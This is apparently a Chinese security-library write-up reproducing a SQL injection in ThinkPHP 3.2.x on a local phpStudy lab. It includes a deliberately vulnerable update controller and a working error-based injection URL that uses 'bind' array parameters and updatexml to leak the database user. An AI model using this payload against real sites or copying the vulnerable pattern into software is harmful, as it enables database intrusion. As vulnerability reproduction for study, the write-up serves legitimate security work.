Thinkphp框架 3.2.x sql注入漏洞复现–Komorebi-漏洞文库小世界-安全文库-NGC660 安全实验室

Thinkphp框架 3.2.x sql注入漏洞复现–Komorebi

简介

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

环境搭建

漏洞影响的Thinkphp版本:Thinkphp 3.2.x
漏洞复现环境:Phpstudy+Thinkphp 3.2.3

漏洞复现

PHPstudy:Apache+php7.1+MySQL

1609401695307-171d8918-a75f-4f94-89bb-65e694bb07de

首先建立一个数据库名为:thinkphp
建立一个表名为:user并添加两个字段:name,pass

1609401727137-32c39a02-135d-40ce-81c8-7aabdd193d9e

在ThinkPHP\Conf\convention.php配置好MySQL帐号密码

1609401752074-f63f2cd3-47a6-4912-86c4-3b834777d49b

将’SHOW_ERROR_MSG’ => true,用来打印sql语句

1609401773745-2466f228-91a6-4a2e-b189-f171818231ec

新建文件及文件夹,在thinkphp/Application/Home/Controller/IndexController.class.php 在里面写一个简单的update的例子:

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
    public function index()
    {
        $tj['name'] = I('name');
        $data['pass'] = '111111';
        $res = M("user")->where($tj)->save($data);


    }
}

因为我们仅仅执行基本的CURD操作,所以用M方法来实例化数据库对象就行了
http://127.0.0.1/thinkphp/index.php?name[0]=bind&name[1]=0 and updatexml(2,concat(0x7e,user()),0)

1609401800252-b13e8362-747b-4cb5-a9be-e87a4f436011

请登录后发表评论

    请登录后查看回复内容